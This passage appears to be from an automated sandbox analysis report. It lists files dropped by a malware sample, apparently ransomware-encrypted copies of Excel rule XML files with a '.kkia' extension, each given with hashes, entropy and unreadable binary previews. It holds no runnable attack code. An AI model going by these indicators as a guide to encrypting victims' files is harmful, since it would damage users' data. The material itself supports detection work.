SHA-256:	F53D997B089400CD153DF89253E42C5BAB106887DF86FC262813EC8032BB106F
SHA-512:	88EAE371F7CABCAC975C86D5674303C1B89D7D17D7E619BD16DEBBF9CE60202B5FECE6F39F0D957127E71D7892BC9DC0182320AF38326562D2824DDE00658281
Malicious:	false
Preview:	<?xml+{rjN....s.n=...,.f.U~t..2k2.z-..?O..jx2....2?....5.hdo.g.5m#...D..l7B..==Ih..mDG.K...{qn-.....K8w.;....i..JF.".P$rKF..."J\|....o..y.]....F..N5.Ea.%..#..3...c..y..(k.s...I...dBZt.Ow<L8$]f.....=8...f..@hQ.j....<{.w5.%.DL!..'.=..1..s7t..HT..\N].#.u..}K..-...........H_-@R9.".......ycs.Bs.T.KZ.D}n..c_\|.<.._!....2D..........'. ..?+...v.3.~...!.c..x.......cUXL..z.C..P.........I..0@.3n.%..Gh...P.=........=.em.N[.R.:.....%....y...8.. \|.vMX.......i..t...8&..f.......I..7\|..U..;...~k\.....u.s....dT...nI....t.5.\m.6.v..........P.)..:..,.N...6o.\|...._.4)GE.r....'q...L...k*.].}..5e..#mxa.<....l.Q...aj...=....[.B...h....`v.t.p.0. ~vg..).......cWt........s."..Q. ..O..D3....4j.t..KO.....W.._.'FM..=......W.(U.$...B..<...._......M...F.h(B6.......5..FD=.....\|\!...r...>j.}k...:X....`E.[._..T.9.ji...J`..&>P-...9.z..k.Y..u..d...99?...?..........\|.. x..~OB.vx..1o.+x.v..#n.&n<$....l8..u_.'.x..b..Z.A_.).{...o.GP.s..R.........zG.\.:.Xn>5(...=.`>..eu..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.7318919466447
Encrypted:	false
SSDEEP:	24:dnz0qvNQ0QUNm8tddOrDbLQfvNReCfjAJUMg7EatN/rhE5kbD:dz0ySMoMOrDvQfv+W8aMaEatjEgD
MD5:	3FAE4EFEF160817C087C06A1C9E39A27
SHA1:	F32D0D117F98884CB6D64FE6488F77308C677A1F
SHA-256:	A52B4277145FF82F26B4780A19C16A8C1419CEA1ED8B76DAE339E6F04F3A11C5
SHA-512:	775F8D11C5F3E91443725613674702E0C45C6096A6BD66020CB5A5A19CFA061DFD623B645D74403AEE7F3671DBD8DE4E056C83B5B1D58EE5B8EEDCAD6BA85A0D
Malicious:	false
Preview:	<?xml...=...RD.?o.\...k...V....U.T..d.....9....Z..s..J..#.....s.v.......Y..f~.<..).5.7>..>Y..a..}....-..g....L.....{@......Q...@.[.....U.._....s-7..>.z.wot.\>w.oPM2..E.T..+0..._...\|G...;..4ip.m..\|+Gr......J.1..Y....... .....r....{,..M.ES.I..b.X.w\|...P...A%.mW.]21..........CgU..;....\./=:...f5FY.#........=<^..c,~\....)..p...(...)vesF..:."....lK_.......D.....VW.....a..J.J..L...%.! .....d...b...6.....FF.Md.....V.x.m..f.d4...X....(.&.TN...t..Q....a.}..8......I....jQ......7..A......0.E..e...xG...._....st....%.H.-"..........%Fi.../.=.e..Y.....{uy~F...j..q..O.5...V.../........g3-Av.o.}.d......0?. .....F..bD'..6j............(.....}]Q..3...%A.....w..h;VH.I;g..X(..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930983484969557
Encrypted:	false
SSDEEP:	48:TpsjsQdTx98HRlCuft1oBAG1Kt3AW8AGXAXNp9lh9xUXdnNgPxWpd+d2ZKAQPGDD:FOjMD107Yz8xQXNTv/CNVpcwwaP
MD5:	A70B7B5ACE7E55BCD91DE3EA7FFCBB14
SHA1:	D2D79447EB34878B84743BCB0AB4FB704C617A03
SHA-256:	80104D4C1297C293A6CBFDD0B5ACA58623C4C427645FC948AB801BB66098B53D
SHA-512:	06506025E1E57EA33F5ABE9493CC7433861864440F773882F38F2C01EDBB4E32666F9943F2C4C502E2FD837A679885A7D31E55B457357A4B8E6BE5022B34756F
Malicious:	false
Preview:	<?xml.......ji.;...A.v.edK.@.e:.$.+.F....Am.&..m..K..o.?XZ.4..9'.2!4....h.P..\|m....,....A.@....J.e.E....yD....p7.;...Ygno..u!M..b.j..iz.....B.?...-.G.L..>..r.d.aE......c..@.$.....5:.8V...S(;.W.......{;.%)....d8...<(I....C\|.OTs.z.t..n....m.v...$..G.lh..W..........~.}.7}:...=...HRF.g,...\|...2....`...I....6..wJ.&..Y'..`...cw.y.2v..4..".#......{...Js6.W...q.Bj......?..7....\}H*._...S.u#8...}.6/...O/d.....c.G@...d..v=....<\..Z..k..#i.L$..A?..p.D(...+1...#...82.l..h......W...0.%..o..'c.R..~.w.G..?....H/%.Hz.w<O....G.7..Z.....D...z.....W9....`<'${..l...\|....k...q..6.`..u/@.....`N{..@#........C...y.\.........&..h{.S"&R\|..S3.L.J..SV.,.W.....{KG...tf.C..:.q..\p.>%.....@....^.<`...[.Y..\|..!.l...b..".?&+Ov;...~...l......c..t...l..cV..t..w..S+M.X.8W..dYl...39./.T.v.c.0..YB.Z.p.%}..d..k.....F.5.a./.p.N...\..a.3.>......C.[..,`..x.....F.;J.t....m.9o...!.U......z.2...\|..7......&........,A..nJZ.^7...2.].VR...?.....nDX'.7B.R..G.t......F:.....9+..y.E$.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.705748068121912
Encrypted:	false
SSDEEP:	24:XfzRDahIVlWPby7oDlM33xLSjuk1yJOgkbD:vIIP70kSjuk1F9D
MD5:	C90388E40792030D262CBA312E8D59AE
SHA1:	C37841BE61C1D78C7C7EE4A5748295C2EE1A5B16
SHA-256:	111C5D5BB9D40FBCFDFA9238A1212CA761F83F7D426684B14A970A21CD8163A6
SHA-512:	D7513732B0DC6B29C07019618EBC3A0B16C18B50033E9536DF70CA0BE550E8216D84D5EB8A949CA8AAFFB6E26981432371448D2D95F4E61549EAB81253557EF0
Malicious:	false
Preview:	<?xml.....g.8.r...B.f.oK<y..$,.w....e..x.". 5.[.J.".W.....{.....X...Z..'.u..}>..mZO3.\.U._?0...w...^.R.d^.u(h.h.......~..@..l#@.g.A.u/'.......J.{.n.r.C~..#Y.....jQ.U;}y....F.....m]"+A?.Ui.&._/...q.........X..A:.bU.{.G.._r.....,..Y...Ki...q..3\pN%., .=f..c.../..3RZ....y....k.........M.T.9..oq..%.............cP.A....DGi.e6....Ql..1.[7s..E4...meJ.2'1N...&-)....AC...I.F....@n.g..\|......izYE....<a.S.(.ub.&T.@.d(_.....s'.i...{..m`..o.B......i'.~....bP..{...3f>...-..t.z.v!..z........o..........."[S.=.....1.[.y.1..3...!I..'.O..i.(..e.?.....&B..G%...<.z....5Y.W./y...)Q.A4..~R.n.xU/..g..p.U....m.........a..<nO.f:G}>.BU.T.`K..-...\....DJ.,W.J.....5..B.....6>..T.s.....$..+a..g......5.....al....#.M...`l.._..~ydYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930221629078549
Encrypted:	false
SSDEEP:	48:Og1s+v/O5k48W2EI/IFvaW5V4EI5rBE9FVh6Oe/QWdAadmv/E+RS48mVQ4CeK0DV:jvG5Ff2EIyyoI5ly6Oe/pPo/1dhx
MD5:	4ED3E7668FE87F0A1AAE9190C03E9929
SHA1:	30140B55D6DB6945CDC8138D4EF033C32D468C9F
SHA-256:	194CD8D5201FA4E2745E55EE5B5ADB81D24FE97AD75A9E24BAB3766D4C624D3D
SHA-512:	4FAB1CEE191AC46A3B4F8CA3059CF159ED075049DC677EC59336C8DC5964F4965B342033FCB874D8BF46C583649CBF75F8A51D0D2B33AA3633620214E7FA3BF7
Malicious:	false
Preview:	<?xml\B3f ..2(...m`..fg.3...$_L...x2..>R..x.=d....?.8..9Oou....72...phsE.3.`..FLx....?....X....O#...I.T.1.L.Br.>[?...t5......p]_:....@...:D..:.WZ%...\|.E,A\,..Q..OPi...^......:b.4/.D.....I}.o_...8.[.=s.........UK.^{x...s.-.t.W.v.B..q..B.:s8n.>-G...wUwf..=^..V...pe.7.Z.=.......#.n.N..zG......!..]...tD....l.+.....i...Bo.<.`.~..0...a.B...v.k1@..s^....OsUy.R.!.(.w.3.............[).j..T.B...K:.....H......^$.}...+a...#x.;.G.....#.\|...#..f.#.W4`(../.+$^..Q2l=zU.oI...........F7.Rg.6,Ci.s.b..?.=.i..~1....w...}CZ....[}.....K...u....._.@..=2pPec.".j.\..Kr.....+.H...N~.!.x.l.. 0~\f....!loI.'............t.k.@&...m. ..A.[\..7C8p.S5.!t\|.0...Iz........T4...nR..:d0N;v{...../..S.J&..p..k...5.7.;....[=L.]..T+..q.b..3...Z.!~....7.$.YY...3-..I.9.A...w.U..0.}~..Hfo...3N0........-.?.....Q...:......_.a.).</.U+...^7......`lk.....a.2)l._3N.*\|..l.&./\...o.l.[...>.......]R.n<.1......=.<...1Wk........x...@.a?...Xj....I.q.....h!...$.z...............D...?...E....P....A2..s.@..B.y.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.75735672799177
Encrypted:	false
SSDEEP:	24:5eLdspH0ub7ZJp7anZXCC8D6jqpE2Mpedsj+/4kbD:5eZSr1vOnZXClOCEBpsE+dD
MD5:	640F5B481272E468BAA376AED65D4F56
SHA1:	E2EE3C74D1D9820FD402EBDE0E1F6EB465FCF3A7
SHA-256:	7E5E1FD9632CE35CF44DB170C461A7A0C44E26E96BFBA5288713C186454D814E
SHA-512:	EBE11FD2ECBEADC863C2DB63DCB51B481BFB1EEE2733B045F271FBD3618FBA3F4B1514052B21B72F5177153FFE6F04F18B1EF4361A65FC09E10A5DE4932A17E9
Malicious:	false
Preview:	<?xmlf`..>...L.7,}....cO.e8.{.SqcC13..+.8.....8.L.\|..`....}..l..E.W~D..g._.U).....AB..OI.pM.7{.:K.f...Lz.Td.YTd..~._....H...._.{...&..:.4?7..t.-..@.'..=6i.8....;z..T...zm@......=.q....^Np....uO.ZGq...;.&s.I..P;....,9.V1..d{.Y..._.Qc........w.m.. >y....g,.Kd.^o.7"....N.......W.......q...0Q.o..].{.....\|...K.L.KG.6B,@.s..ov... x.. ...F.L...i..3}.Sz/....:...}..J\|.U.V.N.......#.......3..>??.ob.r..p.Uy).(..h^`_-.+.7;....d\|."...2[kO...J!.I......o.rW..Lz<....{.i.3D.P=L.a..Qn$.J..4....7....>...y.....e.3....)......:d.zi5.@...z0 ..u.^N..Z.:........;U...M?.y..x-..>TQC.u.<....?b...A.D{....w..l....Ea+..9.5....fS.h..I.O>..c..H..4pI...P........... >..5"p"...S..G7F-...e4= .<.Si.eW.I...IV-..8?.w..)....E.#..Df..$. .>3.?..>._..\|.:.....0..E..r4`.3P..pE...;e..g.....J.....C...../....J._.A....&"q.k."..F\|.d.-.}..h......>}!CmE{.n. .z...Y...?.DH...[..c<.V....S.d..;(\|BD.j.c`.S....=...X)..6.......].j.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.847153031012266
Encrypted:	false
SSDEEP:	24:dy/BLMyORNwTb0LCPGVm5bW5A0EU1SJxJuo5b9CHkA9IgzfkbD:E/BIlCT8eum1Wm9GkuwekA9IgzmD
MD5:	13DF03B21867A26A7544AC4C4A0514DA
SHA1:	D64BE356FD9D17CA2AD3FC85EEEAD5D744ADE507
SHA-256:	B68E2179EFA8EA251235F490FD064CBF6F15F31A6EE07B4BFFA5C1B9B3CB5BE8
SHA-512:	631080382FDEB09EE2357FCD997FB337509BD97BE6D4C75599BA205B086A2334774A73E0E4B286163B8C7615B1B5002297F482BF899D3788B84E6A0CA106D433
Malicious:	false
Preview:	<?xmlA..\|.2..@......:.Z.8zD...v.vX..).~[7u.R...E...9.!.69.a...wY.......a....lu.]..f..e.L(...4q.tV.,...~.pk.%...L.....:..K/w>:...g.3..e..W.3........;...w2j.._.P.JE...#.).,..........B.6....[../.u.=Tp........`:.(.......^....~/.....s.l8D.........C.f.a;..>a.q.V.~(,.......l..l54.U2ig.......~....f.. ...0..2udPO....K ......1.J.....RK6.["q.R]s..gZ..<.L.7...C^..6.d_.Q..\|...............9.....ie.;ofp;<.~y...u.._..8..[j0RG%c.%..u\.?..!.A.;....P.........T...O.H..@.j......N\|..S..G\|)....R:..7..k.p..d..1....3\|..;.XN.S.'...Gz..h<j.b2A[...;.....<..53..H...{Y...<.isP..3...[&..v.......h].YG'^q5......a....6.p.o.....S......N.2[..a....`....U..FJ.Ue5oZ>9...>......9.....X..7v..P..T...D.+R%...jl.....\..\.c.L.....sM..>.Fg..,.........+..a.7.0!.lS..e..%.G.!.....Wr..{..h..p.FnsS....^3.(:_E.5.$.I......:..............W.9G..Q&~..s.....^.[.g.d.>.M....S..\>..C...j].."... v.9T.AO.=n.W.D.."..&.<..).i...]...i....~......F....PX....[a.$.1(<...<.."oF..t..V<T...#....8.j..~...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.754257497146203
Encrypted:	false
SSDEEP:	24:rnEog0QCDN0pK4rx/Mb41Ne0lOEaYuW1FsZ7DdsaNkbD:boCDorx/MbaNeioW1mZviacD
MD5:	A25F119B0EA0784FAC1665BE78D7D0F7
SHA1:	0039EEB8A9F9A9361D0C940F8E76B520BBB9C687
SHA-256:	4EA14332CB6F577465F667C88445F0805367297BC54F2ED9B87809E1CC61542F
SHA-512:	468D7EF2F43E6C458B01DB946D9C160A07D33FB9689005E910543791221783C2F1116B024D9D2C874E12C67AB11A0DA09871582CB5FCC79EBD3157E4FA601F7A
Malicious:	false
Preview:	<?xml.;z..x....d....G....<..)...U.....q.2...........d.;.Y...G...X.j."..C.<..e+..P.=m..\|.J.D"a^...w....#p.;.....(]...ul#.8.I..T.iR.P.nj..W.G.Cb.+N........q....S]KT....l..m..l>.&..9.w..0.......Kl..........y.z_]......m.)!.G..w......j.cl4.{..zh..k.L.6.E.@#.@zn..'i.Y.qZ.P..#...r......i.+.BG4.(..}3.H....eb..Z...8..u..N4..I.+.D....;..8..P...<u[..f.A...\Z...O(.E2VY..0.....3P..K[...{..6.:..-#...[5...S..&a.`(e....3......$Cz...`Io...tq...}.!..3y.f`...8.d,..TfT./..WsR">J.f.3.g."4.}....C.[..../s..2{Y.U6(...B1>..........Rr...r.b....V3.....{D..vq..q...r....<D.{i.d.>t....>P..7-.^....q..p?.......i-Yu.X<!!....I.......l}5.7..;.V...oR..,J..........6f...q6ZM`AS...k..{;.%a...N...O..R....q...zLP.x.5HV.+....7..1.....F....].....S.DT...J.A.)L.E.oW.q.@.d..Z.#..@.C..^^..z......xK.)N...K.dk-..C......Z..Z.Pu#"...X.:...@kZU<.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.763154983006323
Encrypted:	false
SSDEEP:	24:sQGSG6h5sBq15d6xO+UBU0n6u5ENVn7Li+8kbD:sTosQvMg+kbn6w2N7thD
MD5:	A5CA16B8EAE8CB0C5BC18459CA61F844
SHA1:	3835513CB6B3EF81B90ADACD89F7F24DFF338A82
SHA-256:	4A580D10AAA03722C5AA020312BA82B77108533FB42833EEAD820D37220C142C
SHA-512:	61656713AE1025812BE95492C4294B63926D0E887E13B8C8408458626BD91848ECB44F2A0968E5BD20DE4E18E8695819C5F564040E85328F117EB707F1755705
Malicious:	false
Preview:	<?xml.r...0m....-.3......K.Ka...sJ.....97qH.....=.`..).....-.....aa;.kh..F.......~..H..z..o....u...`..S..$.V{.d..\B.....M..&.n.j.,...)...k.S.Y(....e.wf.(..Z.......h...C...~..l...!./b.t.8U..g.h..p./.09.6....b8EU}hP..%........B.J._b...s.P.{.S...........9.T?.o!?....A...-.`,1SO.<.......q.."...\|..?...ql.b.Uj...K..Z.g}'I..O.......^Y#....Z`Y..=,~.!(.a....'.V.y.E.!..m.i...U!.8-.R.....i.K.8'..h.I.T..w._.].a.dBk......%5#I.V\^6...fA...q.........U.C...EU{.......5.:.Y.\|..9f(.d@.H.4.%TP.r..3X...a...x...v.{...Osn.9..@7.ir.z..8...}..B..v..K.kG@.w.......).+.C.+..~...h{...$...d".........%...Q..a.^.N:c3.].z.l..^1...v.Y.]..H.:M?S.....m..[p...\.<.}n{O...-H..B..$`....$....[8p...`....C..wQ .\..<\.h.....#Z...r.<.'....=.)].._Nla.g..h.{f..B...."..UJ.ZX4#*/i.^.o..o[...d...\|...Sj4..?dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.803109017696846
Encrypted:	false
SSDEEP:	24:6bJ0K2zKoauvFyNtYAhm1JrnGu5R/Xavd561Tu3dzm5Om9TSEkbD:oJ0K2zKoHvEbFYLrnGu3/X28atzmIm9e
MD5:	0D7B985A94DB8590CADBAEE46635FDFA
SHA1:	CD51B2126BDA3759A1FFD3C92BC1A5A6C142509E
SHA-256:	8157ED972FE58978224425818B273204C2F957F36A29BACA8EA73F0560E792B0
SHA-512:	BED7A06E0D6D9857C98200693A18CFE0AE797683776C9B99EA1251152FA10E3E9331B179990EE05B6FB321B4B5AA6551A5ACCDE0A36C1EF92487614A88BBD61D
Malicious:	false
Preview:	<?xml."..gAax.%.#......47...........Q..7..6l.S..s.e...,.!..........)..'.h....\..l.ZD/.h..UK......F...=\|\..._..T....F..\V3...x..ag...(U.#...... ...n`_.vN-...}.....o...C..}.X..7C....{n..u.....[F.QA..$...:5{B.v.$tc5.vUv.H"fR.E.k...>AS.Um3.>#.a.\|.V\..=....7....I.E3..4.\|..V.N...XaX....Hj.T..~A.Y..C.....@..........v.tC.5%......]...L4C...,.vv\|.O..+s..O1....T=.b.w.v....}\!bX ...6...!~.!.d#n...}..(......h>.x.}......igq$...C.r..Hn.C...-.Q.l..6..I.d...E..{=..l...V....A.\|g....@..3...k..B.z)?8Ymh..-..`M..-.Xb......m.qF...........V..m...>V2L..V.q.....A.}..........85.,....z../....S@Cck....2:T..O..<....G...S0.Q.Q.9p...kY.1..Gm......UZZ...J~.7i....niJ..lm..%)cN.....&..,\..;t...Pd...)J....g.d..r..hrD..].%...5[R....t..@M....".h..vaF......B.4ZJ..+W~..#.#...E......^.t.U....Y........D....e.<......`{.d....q.2{.@7qh....[fv/.6....5(L.JI.XlS~>.u.!5...r.B.h...jO...r..S..............:.\|.}.).~..>.( ....R.4.2....v..dYUDKE4rrBmSPsf8srHMsyP40jle9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.754702901323486
Encrypted:	false
SSDEEP:	24:IcUCs7ROHULWjSIQkFnsrXXaBEpmYuiJWuLkbD:XYdO0LW22YXXComLiJWuaD
MD5:	E3CD2E4BF3D641ED49529711C2068DC8
SHA1:	58674BF39C8BC747B58E2B794EB5083572347EDF
SHA-256:	8AAB08EA4E5A35E4BC65D8A847229E4D9790E48A58F7C5AB8FE8014C39F8D908
SHA-512:	2021B9C0F4654B354B9D9B2DA2F8B66BD2E7FC1CA329FF1C7AC287E3CDF576C3CA5376BF943924EC3EBD1885040F88BDFA27179FCE1121B383472D7A243E9518
Malicious:	false
Preview:	<?xml5g.=..'3.....IWkBT}...ah'.I......>}.o..~.{.EP....3.k..._R.o..s_..J........)..m..,.nly.U..d..Zuj.W...m....N.1......".ID.+.#.>.v.@.'.......]A...G`.zEO'.....B.....Ph.....US...b\...t.@:3.W>..W.4p.\..".?p...y.DWA..K$R....\.....-.+..5G.4.V..6.....u.../oH'."...%:.I.7.!....9....3G&L`LoZ-...!.f.<r.....i.~.b...Eqp.....#.>x..L...:......4XxW=bY.]\..N.i...........u.._..Nt...<..!..W$.hz...P..@o;B........J...m.V....F!F..=M.Su. pD.zh.>...L...........R.LX....?..D.O.VcZ;...2.;kEU..+..A....?...A..W.+...u!..R.\.y...w.(o.E..9....q...C.Q"....8.EH..7"..a...j..../S.n....Z...r)...TP..)'<..#.g.{.~...{".%m.&..P....Z...~..G...M.%M...(...N............ :.d..l_C.....O.....P...`....+...D2.WX......)...9..u..4V...r.1.1....t.o......O..}@-..Z0....<K......0Q..y\|.%.f.m.......+.......t9dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.974220366440657
Encrypted:	false
SSDEEP:	192:2vQTLW1CucorcKZ8kZUdqSNgMjuvKNZLaq40AihL4:TvWHco78yU8SNgSaKNVW0AihL4
MD5:	6BC277D147F2BAF2E26162A6784E0B6D
SHA1:	4DCC1066E3DB50AC84678181C5B20FDCEED4CE30
SHA-256:	20A92D1D4A40515B52E624AF95434BE8088D4B45F1C9A6F518BF9369D2D95647
SHA-512:	A5B6AED52DB0A7B8673FFE13DCE1411DF2984FE101FB7878BBECB7566F17412D4A79A542B91BFC94CED7FA15D6633C1EFEB76EFB63FE541C2E4524192E95E9D0
Malicious:	false
Preview:	<?xml.._.-\|^........e1.....^d..s}....zZ..eWD....:O......`..&e[..F..a.v.e.....)..'... >.m...I...3.a5.R.E.4....:`@/....tIt.=...A.,E.'o...@. .u.....'......T...2S...%.?..x..n..Wny......N......E&.<#.DK.;[......X'Q..>...Qm..1D.....{./Gn(i..\|...^..f...?..f..)Q..>.:.!....r.f........s..u..X....y(...)..g..+.t.uC.{]...B>..D...]~....Ss...G....-."s....=.......g3D..N6^W.ri.m4._...zH....D..>....&...4W..B.._b`/.?.=n&.h.0..l.....0;G{.#.Yr...B..E.j..tc?.XXe.....WG.K.U..x....Yy.9.^ 9..")4...\|,@x.......q..;.z....kr..:...:...c;.GI.u.../....D..?.S.)........z..96..C...n....J..8.X./1).N..s.......[.........L.}.'..6W....3.'.....8vV...qb......`...7.c.i.' ...+...:.RA.M....@.=.'\|....] ..F....c..."+.-..3?..J...Ca.D.6.....oMh7......i..^...=....`.^....^.J.....;.4"Zn.d+..~.hs.f.......X.i.3$L.3Ch... .7j.....{..u.,.i...m..B..v.._..@.BF..82.7...~..j..%..:zL..=+..6..'.mN..@.....X.._7@T..>.\|GZ....r.k..u:..c.z..C.T..%..+m....g.5-L.A..4^..9^......"..&B~y....\|.\.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.806656837099359
Encrypted:	false
SSDEEP:	24:hCG7BiAOHLzxA+DZ/TttutLi6667txOeke0438qUi/MVYR1qkbD:UQ8AOrtzDZ/65i666pxO4XUi/MVYXvD
MD5:	CD2FA75381DFFAAC3AC2B5FD0974D219
SHA1:	769AC37C5B1042D25880567AA2D3DCDE3483B628
SHA-256:	1504062D2CC1D962D6E13A90B1D9812502DEDF5C7C39B50CA64B6E9366B9E27E
SHA-512:	964476171E55CF8179380593CA961A57369D12DA8533227802F2270253EF1708CCE205E2D50C45F918BB5BEEBEDD3DDD9DC19C6A09348621DC9CD0AEA25F0202
Malicious:	false
Preview:	<?xml.{I.a..6.....q.K..^...:..)z..E}.^W...$.......4..L.t...L0.d.[.{.............f.u..#>.<b.'..C.@.<..(..~.k.......E..8S...m..gf....a4...B...g#..}N.We..i........[.z.1x?0(.Yb$O./N..D..\|%..X.Yw..(.....8..8Rw....z.}i...-c....E.!.~.GD..\|lfK.\0.J.p..hQ.l...@..#....cK..,1N..o..u.g.L.v.d6>."...s.GY....B.......i.ZywW...5....+..c..V...k...Li....q-..<...>..4.o.4X..$Jh}.@\|y...Z./1.C.G......]..G....E........q.B:.4=F%..[u..F]3.?.n..s.R9..2B.....`..0..3$....U...Pu...Bv.-D.0].......cr=9.. T.=y#.....#...3Q.I.Z.^.........\..(.._.y..y...z..>....7v.Te3.<....h.x.}.Z.l...0..B.D...i....:.B..fe...'..]...5..\|C...f.z..T.).!...}ISe......Q-E...^.T\|av:!}.\:f...>. ....%..l..4.+...y.?.u.Q.X.*...32....qkZ.0.Y4S/m..#u'S.T....i.GK..$..ytfk..<5cy....l.1..K..R>T....4y....G."...s..{....39.0>\..I.....E.$..k.>. o.1.-.t..)..T.IVz...o"..H..[.....rT.......T.]XR`./Ti..8.~V.%.....:.q.Q.5.V..V..!.1m..#.\|Y<,Xn,D....9W..F4.1f....3v.O$..s.1`$..t.OP.v.oI...>&..@5z....zl{n..4+.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.843296181367648
Encrypted:	false
SSDEEP:	24:oR6X1x1AA4AGI79uzlCyAEi50L+0p/yHlsBaPkGcN+kbD:oYxt4AEzsNF+yFsE8vN7D
MD5:	E20A17E5B30379275F834934871C234D
SHA1:	A51218917C0039F3CCAC56ADA7EA8C595DE1C669
SHA-256:	D5E51AD5F9B5834114CC9FB1062C594C2C940D0500B0F6298C88E51F94A4F85B
SHA-512:	23166FB716D7A519DFD92B6718DE25C9BD66814462ED22154C2CFC710813D9575BD2689D2FA2C3BD1035477B066201A704808D2B88B78287E1F1E6BC71744AC3
Malicious:	false
Preview:	<?xml..."T....4.F..u...1...M.y.....~.U_$.Ln...e3'?.,pe:M.Q......W.R.....B.W$...$..\|.0Y......J.ca.\|..."cR.xy._Y...D.bV.....c.....L..lY........4...E:d.- ."........wg.^..<.i)z.B.....l...cLL..x....43....j.BPF...U,.q...a..J..M.S..ox...R..u.....K..{......WF..Bi.j[@".f.+.?@.....^IE..g......5V.{`..4].Kr...(..J..Q9.p.....r.....~.f.s$T.p...&...._olo...=w..Z4l...lqQ..b..v_..._+k..]e.ut.Ks.ik..a.CY._{.. .(u....$...$......E.(.......Q.+f....L.2.U]R...).........(..>..........l...#LS?..C-0......w....s.C...y..c......<.2......I..}....;:....+....yq......a.%.......Q.GP{...}+..TU..........9m.)98......wB`A..Wp.&....].,.\6O.~`.=.b.X...dC..W..e......H.4.U.?....8..rD.h.........>..YQ.y...l~...w`...u..%?Ur`.S..`4.d.X-.J..!G3.:.2....R........s._..!.@uu .4...d.k.Y.....I..~.t..3.@$p....~2.....NT.Z.......e...V.$Qv....\...%Y.. .cc..f .]...i.g....4....F..nD.G$].......7e..(.&..<8.Fym.J..k.)h....3..;/.;.........$.9..:...f..<.1.*.3K.....8,....y....U.U..n..W..#.._}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml.kkia (copy)

Download File

